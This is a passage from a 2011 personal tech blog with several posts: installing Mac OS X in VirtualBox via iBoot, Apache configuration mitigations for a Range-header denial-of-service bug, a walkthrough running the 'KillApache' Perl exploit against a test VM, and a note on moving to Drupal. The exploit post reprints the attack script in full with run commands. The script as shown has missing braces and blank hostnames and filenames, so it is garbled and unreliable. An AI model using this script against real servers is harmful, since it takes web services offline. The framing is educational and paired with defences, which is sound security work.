Saturday, August 27, 2011

Installing Mac OSX Snow Leopard in Virtual Box

Before we begin, I am using Virtual Box 3.2.12 on Windows 7 and have installed Mac OS X Snow Leopard version 10.6.3. The laptop that I have installed this on is an HP dv6t with an Intel Core i5 and 6 GB of RAM. Your mileage may vary significantly. For example, I attempted to first install OS X in VMWare, but after attempting every option and change I could find online, I decided to attempt it with Virtual Box. Also, there are a number of options that may not work if your installation does manage to complete. Regardless, here we go.

  1. An Intel-based CPU that supports virtualization (most Core i5 and Core i7 machines do, but check this site for a full list:
  2. A copy of iBoot - it can be downloaded from tonymacx86's site here: (note: free registration required)
  3. Virtual Box software from Oracle (free):
  4. A full retail version of Mac OS X. Yes, you will have to purchase this. Obviously you could probably locate an ISO online, but this guide assumes you have the disc (it's only $35 here:
  5. Patience
  1. Enable virtualization through your BIOS. Reboot your computer, press F12, F11, DEL, ESC, or whatever key gets you into your BIOS setup. Look for an entry called "Enable Virtualization" and enable it. If you cannot find the setting in your BIOS, you may need to locate your computer's user guide or Google it.
  2. Start Virtual Box and create a new virtual machine.
    1. Press Next, enter a name for your VM, select "Mac OS X" as the Operating System and "Mac OS X Server" as the Version.
    2. Give the VM 1024 MB of RAM
    3. Check "Boot Hard Disk" and select "Create a new hard disk"
    4. In the New Virtual Disk screen, click Next and then select "Dynamically expanding storage."
    5. Click Next and set a location for the VM. Set the disk size at 20 GB.
    6. Press Finish and Finish again
  3. Click on the VM name on the left side and click Settings
  4. Under the System tab, uncheck "Enable EFI (special OSes only)
  5. Click the "Acceleration" tab at the top, and ensure that both "Enable VT-x/AMD-v" and "Enable Nested Paging" are checked.
  6. Click the Storage tab on the left and click the disk under "IDE Controller."
  7. On the right, under Attributes, click the folder icon next to "CD/DVD Device: Empty"
  8. In the Virtual Media Manager window that appears, click "Add" and add the iBoot.iso file that you downloaded earlier.
  9. Click "Select" and click OK in the Settings window
  10. Start your virtual machine by clicking the Start button at the top
  11. iBoot will begin to load. When it loads and then pauses, insert your Mac OS X Snow Leopard DVD into your computer's disc drive.
  12. Now, right click on the CD icon at the bottom right of the VM window and change the source to your computer's disc drive.
  13. Now, click inside the VM window and press F5.
  14. iBoot will refresh, and now you will see an OS X install entry on the screen.
  15. Hit enter to begin the installation process
  16. Mac OS X will boot and you will be presented with the installation screen. If you do not see a disk in the window that asks which disk to install the OS on, then follow these steps:
    1. Click Utilities at the top window
    2. Click Disk Utility
    3. On the left, click the only disk that should be listed (probably "VIRTUALDISK" or something similar
    4. On the right, click the "Erase" tab
    5. Enter a name for your disk volume such as "VOL1."
    6. Leave the format as "Mac OS Extended (Journaled)"
    7. Click "Erase."
    8. Now, you will have a sub-disk entry on the left.
    9. Click close on the disk utility.
  17. Select the disk in the "Install to Disk" window
  18. Allow OS X to install now. It may take an hour or so, depending on your hardware.
  19. When it is finished, it may say "Installation Failed." That's OK, it didn't really fail.
  20. Turn off your VM by clicking the X in the VM window and selecting "Power Off."
  21. Once it is turned off, click "Settings" again
  22. Click the Storage tab and click the disk under IDE Controller
  23. In the drop down menu next to "CD/DVD Device" change it to the iBoot ISO from earlier
  24. Click OK and restart your VM
  25. Now, when iBoot starts, it will have an option for "OS X Snow Leopard" or "VOL1" (your disk's name)
  26. Right arrow click to highlight your disk and hit enter
  27. OS X will now boot and walk through the initial setup.
You will need to keep the CD ISO pointed at your iBoot file unless you want to make things complicated and install more third party utilities. So just remember to tab over and hit enter on each boot.

Issues: The resolution is stuck at 1024x768. The USB devices may not work. Shared folders may not function. Most of these issues can be resolved with additional hacks and software. 


Thursday, August 25, 2011

Preventing (Mitigating) Apache Vulnerability

Last post, I discussed how to attack a vulnerable Apache server using the latest exploit. Well, some hard working developers have put together a list of mitigation techniques to prevent (reduce) this attack. I do not claim credit for the information below, it is only a walk-through on applying the fixes to your server. I can, however, confirm that, in testing, it did appear to greatly reduce (actually prevent) the attack itself. Please be aware of what these options do before you make the changes. They are quick fixes and may have a negative effect on other aspects of your web server environment.

You can review the entire conversation thread here: As I said, this is NOT my work, I am only providing an explanation for enacting the changes, as well as a demo that it works.

First, log into your Apache server (if it hasn't been killed yet) and open up your "httpd.conf" file in vi or a another text editor. Append the following lines:

SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
LimitRequestFieldSize 200
RequestHeader unset Range 

*Note: please determine how these changes will affect your server and applications individually before applying them.

Save your httpd.conf file and restart the Apache service:

sudo service httpd restart 

Here is a screenshot of my test system after applying the changes. As you can see, the attack immediately fails:

Kill Apache With Backtrack 5

[Obligatory Warning: This post is for educational and prevention purposes only. I am not responsible if you use the information here in a malicious way. If you want to experiment with this vulnerability, please use Virtual Machines in a segregated environment. Never attack a machine that you do not own.]

A vulnerability for Apache web servers has been released yesterday (varying reports say that the bug was discovered over four years ago, but a script has just been written) on SecLists. Called "KillApache," the Perl script uses memory swapping and process killing to render the remote system unstable. The full thread can be read here at SecList:

Currently, Apache has offered several mitigation techniques and work-arounds until the next release addresses the issue. The issue is that the vulnerability affects almost all Apache servers currently in use - versions 1.3 and 2. You can read about the temporary fixes here:

Until it's fixed, I decided to try out this vulnerability using Backtrack 5 and Fedora LAMP Virtual Machines. The base install of Apache, PHP, and MySQL was not changed in any way on the Fedora machine, nor were any intrusion detection or mitigation systems; it was a fresh install.

I'm going to assume that you have an Apache server already set up. There are many guides that can assist with installing Apache on Linux or Windows (as far as I know, the vulnerability affects both platforms).

The Perl script can be run from any machine with Perl installed. I am using Backtrack for penetration testing, so I saved the script there. I noticed that the default installation of Backtrack did not include a necessary Perl component called "Parallel-ForkManager." To install that, run these commands:

$ wget
$ tar -xvzf Parallel-ForkManager-0.7.9.tar.gz
$ cd Parallel-ForkManager-0.7.9
$ perl
$ make
$ sudo make install

Once that is installed, download the script from the SecList site above. In case it is removed or the link changes, the full script is here:

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl <host> [numforks]\n";
print "example: perl 50\n";

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);

$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                      Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
print ":pPpPpppPpPPppPpppPp\n";

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                      Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;

if ($#ARGV < 0) {

if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
while(1) {

Once you create and save the script as, you can run it from the command line as:

$ perl <host> <num_forks>

$ perl killapache 50

You will immediately notice that the attack is working if you view the system resource monitor of your remote machine. Here are some screenshots I took while running the attack against a VM:

This is the system before the attack is launched.

This is the system while the attack is running. Notice the huge spike in CPU usage.

As I said, please do not use this information maliciously. This is a serious bug because, although it will probably be addressed in the next Apache release, thousands, if not millions of servers will remain vulnerable for years until they are upgraded.

Tuesday, August 16, 2011

Move to Drupal

I've been looking for a CMS (Content Management System) for my personal website for a while now. After looking into both Drupal and Joomla, I settled on using Drupal to completely revamp my website. After a ton of customized theme coding, I was able to get it looking exactly the way I wanted. The advantage of having Drupal power my site is that I can now easily add content without ever having to edit the static HTML pages as I did previously. If there are any issues using the site, please let me know as I am ironing out a few issues at the moment. Thank you!